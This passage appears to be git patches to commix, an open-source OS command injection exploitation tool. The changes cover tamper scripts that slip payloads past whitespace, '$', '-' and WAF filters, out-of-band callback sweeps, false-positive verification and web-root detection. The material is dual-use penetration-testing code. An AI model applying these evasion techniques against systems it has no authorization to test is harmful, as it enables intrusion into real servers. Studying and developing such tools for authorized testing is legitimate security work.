menu.options.tamper.lower()) if menu.options.tamper else [] - if tamper_name in provided: + if tamper_name in provided or tamper_name in settings.AUTO_TAMPER: return - menu.options.tamper = (menu.options.tamper + "," + tamper_name) if menu.options.tamper else tamper_name + settings.AUTO_TAMPER.append(tamper_name) """ Check for modified whitespaces. @@ -4145,6 +4177,24 @@ def perform_payload_modification(payload): return payload +""" +Settle what a tamper script's own mutation to 'WHITESPACES' would be, before anything built off +that list is frozen. + +Several whitespace tampers ('space2ifs', 'space2htab', ...) do not rewrite the payload they are +handed at all - they rewrite 'settings.WHITESPACES' as a side effect, so that every payload built +afterwards carries the substitute instead of a plain space. A technique that reads 'WHITESPACES' +before sending its own first payload reads it as it stood before an escalation stage just added the +script - that technique never asks again once it has gone through its own boundaries once, so the +substitute the stage was supposed to try only ends up reaching whichever technique happens to run +after it, in the same pass, by accident. Running the active scripts once against a bare space here, +ahead of that read, settles it there instead - not a real payload, since the scripts this is for do +not look at the one they are given. +""" +def prime_whitespace_tampers(): + if settings.MULTI_ENCODED_PAYLOAD: + perform_payload_modification(settings.SINGLE_WHITESPACE) + """ Skip parameters when the provided value is empty. """ @@ -4386,6 +4436,19 @@ def calibrate_boolean_oracle(page_true, page_false, code_true=None, code_false=N # Content alone cannot tell the two apart - length still might, and is reported precisely # because it is the only one of the two that just did. return lengths_distinguish + """ + A page that is a plain shell error on both questions is not two answers - it is one error, with + this run's own calibration digits echoed back inside it. A filter that corrupts the payload before + a shell ever sees it still leaves the random marker's length (6 vs. 7) sitting in the "command not + found" text the shell quotes it in, which tells the two pages apart without either command having + actually run. Normalizing the digits out of each error catches exactly that case, without touching + a real difference in wording a target's own interpreter would give for two different questions. + """ + true_error, false_error = extract_error_message(page_true), extract_error_message(page_false) + if true_error is not None and false_error is not None: + normalized = lambda text: re.sub(r"\d+", "#", text) + if normalized(true_error) == normalized(false_error): + return False settings.BOOLEAN_TRUE_PAGE, settings.BOOLEAN_FALSE_PAGE = true_page, false_page settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW = page_true, page_false return True diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 98c17b17ab..5e2187a155 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -397,6 +397,11 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p # naming a version, so the language is all there is to report in that case. detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" settings.EVAL_BASED_STATE = True + # A command-only tamper (e.g. 'printfoctal') was still compatible the last time dependencies were + # checked, before this probe's own eval syntax made it not - re-checked now, or it would corrupt + # these payloads into something no language reads back the way the probe needs. + if menu.options.tamper: + checks.tamper_scripts(stored_tamper_scripts=True) try: whitespace = settings.SINGLE_WHITESPACE if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE): @@ -441,11 +446,21 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p detail = "identified " + settings.EVAL_GRAMMAR.LABEL + " version: '" + match.group(1) + "'" settings.IDENTIFIED_EVAL_PROBE = True break - for warning in settings.EVAL_WARNINGS: - if warning in html_data: - settings.IDENTIFIED_WARNINGS = True - detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" - break + # A plain shell error (the probe reached a shell, not an interpreter) can still contain + # one of these words by coincidence - 'syntax error' reads the same complaint from + # 'sh' as it does from Perl. Where the response is one of those, the word is the + # shell's, not the language's, so it is not treated as evidence of an eval sink. + if not checks.extract_error_message(html_data): + baseline = settings.ORIGINAL_PAGE or "" + for warning in settings.EVAL_WARNINGS: + # A word the page was already carrying before anything was sent to it is the page's + # own - prose that happens to name an error reads exactly like one reported, and a + # page that explains itself ('..., a syntax error - ...') says it on every response + # whatever the probe was. What the probe caused is what is not there to begin with. + if warning in html_data and warning not in baseline: + settings.IDENTIFIED_WARNINGS = True + detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" + break if settings.IDENTIFIED_EVAL_PROBE: break @@ -468,6 +483,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p settings.SKIP_COMMAND_INJECTIONS = True settings.EVAL_BASED_STATE = False + # A command-only tamper dropped above for this probe's own eval syntax belongs back in play now + # - '--eval' was declined, or never came up, and whatever runs next is a command once again. + if menu.options.tamper: + checks.tamper_scripts(stored_tamper_scripts=True) return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: @@ -1007,10 +1026,20 @@ def _ensure_time_warmup(): if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not checks.already_tested(place, check_parameter): settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER + """ + A rewrite adopted for the parameter before this one is dropped here. + + What got past that parameter's filter says nothing about this one, and the scripts are not free + to carry: '${IFS}' in place of every space is itself filtered on some targets, so a parameter + that would have answered a plain payload is reported as not injectable instead - found only by + testing it on its own. Whatever this parameter needs, it adopts again for itself. + """ + checks.drop_auto_tampers() + if not settings.LOAD_SESSION: info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) test on the " + settings.CHECKING_PARAMETER + "." @@ -1169,17 +1198,44 @@ def _reset_web_root_detection(): _reset_web_root_detection() end_detection = _run_techniques() + """ + Whether this run gets to reach for a rewrite of its own. + + '--tamper' is the user's own answer to the question these passes exist to ask, so where it was + given, it is the only answer applied - a script added behind it is one they did not ask for, + and stacking ours on top is what earns the "too many tamper scripts" warning against a run + that named exactly one. + """ + def _may_adopt_tamper(): + return not (settings.USER_APPLIED_TAMPER or menu.options.tamper) + + """ + Whether to go around a filtered whitespace at all. + + Sending every technique around a second time costs about what the first pass did, so it is + offered rather than spent unannounced. Asked once and held for the run: the answer is about + the target's own filter, not about whichever technique happened to come back empty first. + """ + def _accepts_whitespace_retry(): + if settings.WHITESPACE_RETRY_CHOICE is None: + warn_msg = "Nothing was confirmed with a plain whitespace, which the target may be filtering." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "Do you want to retry the techniques with whitespace substitutes applied? [Y/n] " + settings.WHITESPACE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.WHITESPACE_RETRY_CHOICE + # One more pass with 'space2ifs' applied - a filter that rejects any literal whitespace # blocks the heuristic test the same as every technique, so gating this on a positive # heuristic would never fire for the one case it exists for. 'MULTI_ENCODED_PAYLOAD' # already carrying the script is what keeps this from firing twice, or where it was # already asked for. if not end_detection and checks.injection_techniques_status() is False and \ - "space2ifs" not in settings.MULTI_ENCODED_PAYLOAD: - info_msg = "Nothing confirmed so far - retrying once with the 'space2ifs' tamper, " - info_msg += "in case whitespace itself is being filtered." + _may_adopt_tamper() and "space2ifs" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_whitespace_retry(): + info_msg = "Applying the 'space2ifs' tamper script, " + info_msg += "separating the payload's words with '${IFS}'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - menu.options.tamper = (menu.options.tamper + ",space2ifs") if menu.options.tamper else "space2ifs" + settings.AUTO_TAMPER.append("space2ifs") checks.tamper_scripts(stored_tamper_scripts=True) _reset_web_root_detection() end_detection = _run_techniques() @@ -1188,11 +1244,12 @@ def _reset_web_root_detection(): # filter that also blocks '$' leaves this pass no better off than the one before it. A # horizontal tab is still a plain POSIX word separator and needs no such substitution. if not end_detection and checks.injection_techniques_status() is False and \ - "space2htab" not in settings.MULTI_ENCODED_PAYLOAD: - info_msg = "Still nothing confirmed - retrying once more with the 'space2htab' tamper, " - info_msg += "in case whitespace is being filtered and '$' along with it." + _may_adopt_tamper() and "space2htab" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_whitespace_retry(): + info_msg = "'${IFS}' was filtered too; applying the 'space2htab' tamper script, " + info_msg += "separating them with a horizontal tab instead." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - menu.options.tamper = (menu.options.tamper + ",space2htab") if menu.options.tamper else "space2htab" + settings.AUTO_TAMPER.append("space2htab") checks.tamper_scripts(stored_tamper_scripts=True) _reset_web_root_detection() end_detection = _run_techniques() @@ -1202,11 +1259,11 @@ def _reset_web_root_detection(): # it. 'dashlesstest' already reads those the dash-free way ('='/'!='), so this is the one # case left where retrying on a tamper already built for something else solves it outright. if not end_detection and checks.injection_techniques_status() is False and \ - "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD: - info_msg = "Still nothing confirmed - retrying once more with the 'dashlesstest' tamper, " - info_msg += "in case a literal '-' is being filtered." + _may_adopt_tamper() and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD: + info_msg = "The character '-' appears to be filtered by the target; " + info_msg += "applying the 'dashlesstest' tamper script to adapt." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - menu.options.tamper = (menu.options.tamper + ",dashlesstest") if menu.options.tamper else "dashlesstest" + settings.AUTO_TAMPER.append("dashlesstest") checks.tamper_scripts(stored_tamper_scripts=True) _reset_web_root_detection() end_detection = _run_techniques() diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index fd1f850eb5..c86a0e3131 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -548,6 +548,7 @@ def _run_os_cmd(): # Try each boundary against the channel until one of them calls back. def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, timesec, filename, http_request_method, technique, channel, payloads, _exploit): + checks.prime_whitespace_tampers() whitespaces = settings.WHITESPACES prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) @@ -720,6 +721,7 @@ def _run_os_cmd(): else: prefixes, suffixes, separators = checks.sink_boundaries() separators = checks.chainable_separators(separators) + checks.prime_whitespace_tampers() whitespaces = settings.WHITESPACES prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) @@ -1042,6 +1044,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim prefixes, suffixes, separators = checks.sink_boundaries() separators = checks.chainable_separators(separators) + checks.prime_whitespace_tampers() whitespaces = settings.WHITESPACES prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) @@ -1420,6 +1423,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + checks.prime_whitespace_tampers() whitespaces = settings.WHITESPACES prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9bab065f59..73427bfd93 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -457,7 +457,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "254" +REVISION = "255" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -819,6 +819,15 @@ class OS(object): # Whether the file-based technique was accepted for a run given a document root but other techniques. FILE_BASED_NARROWING_CHOICE = None +""" +Whether going around a filtered whitespace was accepted, asked once and held for the run. + +Every technique is sent around again for it, so the pass costs about what the one before it did - +worth offering rather than spending unannounced, and worth asking only once, since the answer is +about the target's own filter rather than about any one technique that just came back empty. +""" +WHITESPACE_RETRY_CHOICE = None + # The HTTP header name. HTTP_HEADER = "" @@ -1824,6 +1833,16 @@ class AUTH_TYPE(object): USER_APPLIED_TAMPER = "" USER_APPLIED_MODULE = "" +""" +Tamper scripts this run reached for on its own, kept apart from the ones '--tamper' named. + +What is adopted to get past a filter belongs to the parameter it was adopted for: written back into +the option instead, it outlives that parameter and every one tested afterwards inherits a rewrite it +was never shown to need - which reads as "not injectable" where the substitute is filtered too. The +option itself is also the user's answer to this question, so it is never written over with ours. +""" +AUTO_TAMPER = [] + """ Registered injection modules: the name '--module' takes -> (import path, handler). From ee9bfdc48ae6e4ccafa3d00b4ed49bd36e14fe5e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 28 Oct 2026 08:05:09 +0200 Subject: [PATCH 0927/1023] Improved injection detection and verification, false-positive handling, technique progression, whitespace bypass, tamper script management, and terminal output consistency --- src/core/controller/checks.py | 121 +++++++++++++++++++++++++----- src/core/controller/controller.py | 81 +++++++++++--------- src/core/controller/handler.py | 10 +-- src/utils/settings.py | 44 ++++++++++- 4 files changed, 195 insertions(+), 61 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index c50db5218e..fcbd4dc298 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -181,13 +181,22 @@ def injection_techniques_status(): settings.INJECTION_TECHNIQUE.OOB: "OOB_STATE", } -# The techniques a confirmation can rest on alone - an inference, never a directly observed result. -_BLIND_TECHNIQUES = ( +""" +The techniques whose confirmation is read off the target rather than carried by the payload. + +A page that reads one way for a true condition and another for a false one, or that answers slower +than it did before, is evidence about the target's own behaviour - which a flaky page, a loaded +network or a coincidence can imitate, so it is worth asking a second time before it is believed. + +The rest prove themselves by what came back: a six-character tag this run invented, written to a +file and then fetched out of the web root, or a hostname only this run knows being resolved, is not +something a target produces without having run the command. Re-asking those adds nothing, and the +litmus it re-asks with - built on 'test', '$?' and '$((...))' - is itself blocked by a filter on +'-' or '$', so asking it of a finding that already proved itself can only take a true one back. +""" +_INFERRED_TECHNIQUES = ( settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, settings.INJECTION_TECHNIQUE.TIME_BASED, - settings.INJECTION_TECHNIQUE.FILE_BASED, - settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED, - settings.INJECTION_TECHNIQUE.OOB, ) """ @@ -202,7 +211,9 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese new_points = settings.CONFIRMED_INJECTION_POINTS[mark:] if not new_points or settings.LOAD_SESSION: return - if any(row[0] not in _BLIND_TECHNIQUES for row in new_points): + # One technique that proved itself is enough for the parameter, so there is nothing here to take + # back - whatever the inference-based ones alongside it would have answered on a second ask. + if any(row[0] not in _INFERRED_TECHNIQUES for row in new_points): return boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) if not boundary: @@ -1008,18 +1019,28 @@ def testing_technique_title(injection_type, technique): technique = technique_label(injection_type, technique) announced = (settings.CHECKING_PARAMETER, technique) # Said again where something came between the title and the testing it announced - the questions - # a file-based technique settles where it writes with, most of all. - title = "Continue testing the " if settings.LAST_ANNOUNCED_TECHNIQUE == announced else "Testing the " + # a file-based technique settles where it writes with, most of all. Asked of that interruption + # rather than of the repeat alone: announced twice with nothing printed in between, there is no + # break for the reader to continue from, and the title stays as it was. + interrupted = settings.PROGRESS_INTERRUPTIONS != settings.LAST_ANNOUNCED_INTERRUPTIONS + # Taken before the two are written back below, or it compares 'announced' against itself. + same_line = settings.LAST_ANNOUNCED_TECHNIQUE == announced and not interrupted + title = "Continue testing the " if (settings.LAST_ANNOUNCED_TECHNIQUE == announced and interrupted) else "Testing the " if settings.LAST_ANNOUNCED_TECHNIQUE != announced: settings.LAST_RESUMED_TECHNIQUE = None settings.LAST_ANNOUNCED_TECHNIQUE = announced settings.LAST_ANNOUNCED_REQUESTS = settings.TOTAL_OF_REQUESTS + settings.LAST_ANNOUNCED_INTERRUPTIONS = settings.PROGRESS_INTERRUPTIONS if settings.VERBOSITY_LEVEL != 0: info_msg = title + technique + ". " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: - # Close a previous technique's dangling "... (done)" line first. - settings.clear_current_line() + # Close a previous technique's dangling "... (done)" line first - unless this is the same line + # about to be written again, which is overwritten in place rather than stacked underneath. + if same_line: + settings.redraw_current_line() + else: + settings.clear_current_line() info_msg = title + technique + ", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) @@ -3347,7 +3368,10 @@ def list_tamper_scripts(): if menu.options.list_tampers: message = "" - for script in sorted(tamper_script_paths().values()): + # Sorted by the name each one is listed and asked for by, not by the path it happens to sit at - + # which is the category directory, and groups the listing by something the reader is not looking + # a script up by. + for _, script in sorted(tamper_script_paths().items()): with open(script, "rb") as script_file: content = script_file.read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) @@ -3443,6 +3467,19 @@ def tamper_dep_interpreter_incompatible(tamper_name): def current_whitespace(): return settings.WHITESPACES[0] if len(settings.WHITESPACES) != 0 else settings.SINGLE_WHITESPACE +""" +Record the boundary a technique just proved, and put its whitespace at the front of the list. + +The boundary itself is what the techniques after this one lead with. The whitespace is promoted on +top of that because everything reached after detection - the shell, file access, the out-of-band +exploit - asks for 'WHITESPACES[0]' rather than for the boundary, and a substitute that had to be +used to prove the injection is just as necessary to use it. +""" +def confirm_boundary(bare_prefix, bare_suffix, separator, whitespace): + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + if whitespace and settings.WHITESPACES and settings.WHITESPACES[0] != whitespace: + settings.WHITESPACES = [whitespace] + [_ for _ in settings.WHITESPACES if _ != whitespace] + """ Undo a per-character obfuscation (obf_char inserted before each letter) on any whole word that settings.IGNORE_TAMPER_TRANSFORMATION says must survive intact (e.g. shell keywords like 'if'/'then'). """ @@ -3655,7 +3692,7 @@ def apply_waf_evasion(): settings.WAF_EVASION_APPLIED = (settings.WAF_EVASION_APPLIED + "," + profile).strip(",") # The combination was chosen on purpose here, so the warning about their number does not apply. settings.TAMPER_WARNING_SHOWN = True - info_msg = "Turning on the '" + profile.replace(",", "', '") + "' tamper scripts, to get the payload past it." + info_msg = "Turning on the tamper scripts that suit the target, to get the payload past it." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ @@ -3685,11 +3722,12 @@ def escalate_waf_evasion(on_block=True): # takes that slot when it still holds the plain space, so left alone it just appends behind # the stale, still-blocked substitute instead of replacing it. settings.WHITESPACES = [settings.SINGLE_WHITESPACE] - tamper_scripts(stored_tamper_scripts=True) settings.WAF_EVASION_APPLIED = ("chunked," if menu.options.chunked else "") + profile settings.WAF_EVASION_ESCALATED = True - warn_msg = "Still being blocked, so stepping the evasion up to the '" + profile.replace(",", "', '") + "' tamper scripts." + warn_msg = "What is already tampered is still being blocked, so stepping the evasion up a tier." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Said after the reason for it and named the way '--tamper' names its own. + tamper_scripts(stored_tamper_scripts=False) return True """ @@ -3701,6 +3739,17 @@ def escalate_waf_evasion(on_block=True): substitute nothing is applying any more. """ def drop_auto_tampers(): + """ + The whitespace a parameter was proved through is put back behind the plain space as well. + + 'confirm_boundary' moves whatever worked to the front of the list, which is worth leading with for + the rest of that parameter and worth nothing on the next one - left there, every parameter after + it is asked through a substitute the target may well have filtered before the plain space is tried + at all. Put back, the next parameter starts from the plain space as this one did. + """ + if settings.WHITESPACES and settings.WHITESPACES[0] != settings.SINGLE_WHITESPACE and \ + not (settings.USER_APPLIED_TAMPER or menu.options.tamper) and not settings.LOAD_SESSION: + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] if not settings.AUTO_TAMPER: return for name in settings.AUTO_TAMPER: @@ -3721,9 +3770,13 @@ def tamper_scripts(stored_tamper_scripts): provided_scripts = validate_tamper_scripts() priorities = {} for script in provided_scripts: - if script not in settings.MULTI_ENCODED_PAYLOAD: + # Announced where it is loaded, not every time the list is read back: a pass that adopts one + # more script re-reads the ones already in use, and saying so again reads as the same script + # being loaded over and over. + newly_loaded = script not in settings.MULTI_ENCODED_PAYLOAD + if newly_loaded: settings.MULTI_ENCODED_PAYLOAD.append(script) - if not stored_tamper_scripts: + if not stored_tamper_scripts and newly_loaded: info_msg = "Loading tamper module '" + script + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: @@ -3753,11 +3806,17 @@ def tamper_scripts(stored_tamper_scripts): settings.MULTI_ENCODED_PAYLOAD = sorted_order + [script for script in settings.MULTI_ENCODED_PAYLOAD if script not in priorities] # Using too many tamper scripts is usually not a good idea. :P + # + # Counted over the ones '--tamper' named, not the ones this run reached for behind a filter: the + # advice is to drop a script, which is only advice where choosing them was the user's to make. + # Said against a combination commix put together itself, it reads as a warning about a decision + # they did not take and cannot act on. + user_scripts = [script for script in provided_scripts if script not in settings.AUTO_TAMPER] warn_needed = False - if len(provided_scripts) >= 3 and not settings.LOAD_SESSION: + if len(user_scripts) >= 3 and not settings.LOAD_SESSION: warn_msg = "Using too many tamper scripts " warn_needed = True - elif len([x for x in provided_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION: + elif len([x for x in user_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION: warn_needed = True warn_msg = "The combination of the provided tamper scripts " if warn_needed and not settings.TAMPER_WARNING_SHOWN: @@ -4195,6 +4254,7 @@ def prime_whitespace_tampers(): if settings.MULTI_ENCODED_PAYLOAD: perform_payload_modification(settings.SINGLE_WHITESPACE) + """ Skip parameters when the provided value is empty. """ @@ -6520,6 +6580,23 @@ def resolve_menu_choice(full_text, prompt, default): produced, nearest (most likely) first. """ def choose_web_root_candidates(): + """ + Asked once and held for the target. + + A retry that applies a tamper script does need the candidates walked again - what a filtered pass + gave up on says nothing about how the same directories answer a payload shaped differently. The + operator's answer is not part of that: which directories to try is a fact about the target, not + about the payload that happened to reach them, and asking for it again on every pass makes the + same question look unanswered. + """ + if settings.WEB_ROOT_CHOICE is None: + candidates = _ask_web_root_candidates() + settings.WEB_ROOT_CHOICE = (list(candidates), settings.WEB_ROOT_CATEGORY_LABEL) + candidates, settings.WEB_ROOT_CATEGORY_LABEL = settings.WEB_ROOT_CHOICE + return list(candidates) + +# The menu itself, asked on behalf of the function above and only while it has no answer yet. +def _ask_web_root_candidates(): if settings.TARGET_OS == settings.OS.WINDOWS: common_roots = list(settings.WINDOWS_DEFAULT_DOC_ROOTS) else: @@ -6629,8 +6706,12 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon settings.WEB_ROOT = leaked settings.WEB_ROOT_CANDIDATES = [] else: - warn_msg = "Unable to automatically retrieve the web server document root." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Said where the menu below is about to be put, not on every pass that walks the same + # candidates again: it is the reason for that question, and repeating it without the + # question reads as the root having failed to be worked out a second and a third time. + if settings.WEB_ROOT_CHOICE is None: + warn_msg = "Unable to automatically retrieve the web server document root." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) candidates = choose_web_root_candidates() settings.WEB_ROOT = candidates[0] if candidates else (settings.WINDOWS_DEFAULT_DOC_ROOTS[0] if settings.TARGET_OS == settings.OS.WINDOWS else settings.LINUX_DEFAULT_DOC_ROOTS[0]) settings.WEB_ROOT_CANDIDATES = candidates[1:] diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 5e2187a155..d00ac596a5 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1184,19 +1184,33 @@ def _reset_web_root_detection(): settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT menu.options.web_root = False - confirmed_mark = len(settings.CONFIRMED_INJECTION_POINTS) + """ + One pass of the techniques, and the verification of whatever it confirmed. + + Verified here rather than once at the end, because everything below reads "has anything been + confirmed yet" to decide whether to reach further. A finding that the re-ask takes back is not + a confirmation, and counted as one it closes every escalation behind it: the run reports "not + injectable" having skipped the passes that would have looked. Costs nothing on a pass that + confirmed nothing, which is the pass this is standing in front of. + """ + def _run_and_verify(): + mark = len(settings.CONFIRMED_INJECTION_POINTS) + ended = _run_techniques() + checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, mark) + return ended + # An escalation already handled during the heuristic test, ahead of this first pass, would # otherwise read here as "stepped up while the technique about to run was mid-flight" - and # send the very first technique around a second, needless time before it is even one request in. settings.WAF_EVASION_ESCALATED = False - end_detection = _run_techniques() + end_detection = _run_and_verify() # Nothing got through while a protection is in the way, so reach for a heavier evasion and # give the techniques another go - being blocked throughout is the answer this waits for. while not end_detection and checks.injection_techniques_status() is False and \ settings.WAF_ENABLED and checks.escalate_waf_evasion(on_block=False): settings.WAF_EVASION_ESCALATED = False _reset_web_root_detection() - end_detection = _run_techniques() + end_detection = _run_and_verify() """ Whether this run gets to reach for a rewrite of its own. @@ -1212,63 +1226,62 @@ def _may_adopt_tamper(): """ Whether to go around a filtered whitespace at all. - Sending every technique around a second time costs about what the first pass did, so it is - offered rather than spent unannounced. Asked once and held for the run: the answer is about - the target's own filter, not about whichever technique happened to come back empty first. + Sending every technique around again costs about what the pass before it did, so it is offered + rather than spent unannounced. Asked once and held for the run: the answer is about the + target's own filter, not about whichever technique happened to come back empty first. """ def _accepts_whitespace_retry(): if settings.WHITESPACE_RETRY_CHOICE is None: - warn_msg = "Nothing was confirmed with a plain whitespace, which the target may be filtering." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - message = "Do you want to retry the techniques with whitespace substitutes applied? [Y/n] " + # Only what was actually established is stated here. That nothing was confirmed with a + # plain whitespace is a fact about this run; that the target is filtering one is a guess, + # and far more often than not the parameter simply never reached a shell - a mistyped + # name answers exactly like a filtered space does. The guess belongs in the question, + # where it reads as the reason to try rather than as something already found. + # Worded as the WAF/IPS consent next to it is, since it is the same question asked about a + # different obstacle. No script named: one is turned on here and another behind it where + # that one is filtered too, so naming the first reads as a promise that it is the only + # one - each says which it loaded as it loads it, which is where that belongs. + message = "Do you want " + settings.APPLICATION + " to try again in case plain whitespace is being filtered " + message += "(e.g. by using whitespace tamper script(s))? [Y/n] " settings.WHITESPACE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO return settings.WHITESPACE_RETRY_CHOICE - # One more pass with 'space2ifs' applied - a filter that rejects any literal whitespace - # blocks the heuristic test the same as every technique, so gating this on a positive - # heuristic would never fire for the one case it exists for. 'MULTI_ENCODED_PAYLOAD' - # already carrying the script is what keeps this from firing twice, or where it was - # already asked for. + # A filter that rejects any literal whitespace blocks the heuristic test the same as every + # technique, so gating this on a positive heuristic would never fire for the one case it + # exists for. 'MULTI_ENCODED_PAYLOAD' already carrying the script is what keeps it from + # firing twice, or where it was asked for by name. if not end_detection and checks.injection_techniques_status() is False and \ _may_adopt_tamper() and "space2ifs" not in settings.MULTI_ENCODED_PAYLOAD and \ _accepts_whitespace_retry(): - info_msg = "Applying the 'space2ifs' tamper script, " - info_msg += "separating the payload's words with '${IFS}'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.AUTO_TAMPER.append("space2ifs") - checks.tamper_scripts(stored_tamper_scripts=True) + checks.tamper_scripts(stored_tamper_scripts=False) _reset_web_root_detection() - end_detection = _run_techniques() + end_detection = _run_and_verify() - # 'space2ifs' substitutes '${IFS}' for the space it works around - itself '$'-based, so a - # filter that also blocks '$' leaves this pass no better off than the one before it. A - # horizontal tab is still a plain POSIX word separator and needs no such substitution. + # '${IFS}' is itself '$'-based, so a filter that blocks '$' along with the whitespace leaves + # that pass no better off than the one before it. A horizontal tab is still a plain POSIX + # word separator and needs no such substitution. if not end_detection and checks.injection_techniques_status() is False and \ _may_adopt_tamper() and "space2htab" not in settings.MULTI_ENCODED_PAYLOAD and \ _accepts_whitespace_retry(): - info_msg = "'${IFS}' was filtered too; applying the 'space2htab' tamper script, " - info_msg += "separating them with a horizontal tab instead." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.AUTO_TAMPER.append("space2htab") - checks.tamper_scripts(stored_tamper_scripts=True) + checks.tamper_scripts(stored_tamper_scripts=False) _reset_web_root_detection() - end_detection = _run_techniques() + end_detection = _run_and_verify() - # Neither pass above helps a filter built around '-' rather than whitespace or '$' - every + # A filter built around '-' rather than whitespace is a different question - every # numeric 'test' commix writes, including the final litmus below, leans on '-eq'/'-ne' for # it. 'dashlesstest' already reads those the dash-free way ('='/'!='), so this is the one # case left where retrying on a tamper already built for something else solves it outright. if not end_detection and checks.injection_techniques_status() is False and \ _may_adopt_tamper() and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD: - info_msg = "The character '-' appears to be filtered by the target; " - info_msg += "applying the 'dashlesstest' tamper script to adapt." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.AUTO_TAMPER.append("dashlesstest") - checks.tamper_scripts(stored_tamper_scripts=True) + # Announced the way '--tamper' announces its own, rather than in a sentence of its own: + # what is loaded is the same thing either way, and worth reading as the same line. + checks.tamper_scripts(stored_tamper_scripts=False) _reset_web_root_detection() - end_detection = _run_techniques() + end_detection = _run_and_verify() - checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, confirmed_mark) # All injection techniques seems to be failed! if checks.injection_techniques_status() is False: diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index c86a0e3131..a22396b4ba 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -681,7 +681,7 @@ def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, tim return False checks.injection_process(injection_type, technique, done=True) - settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, 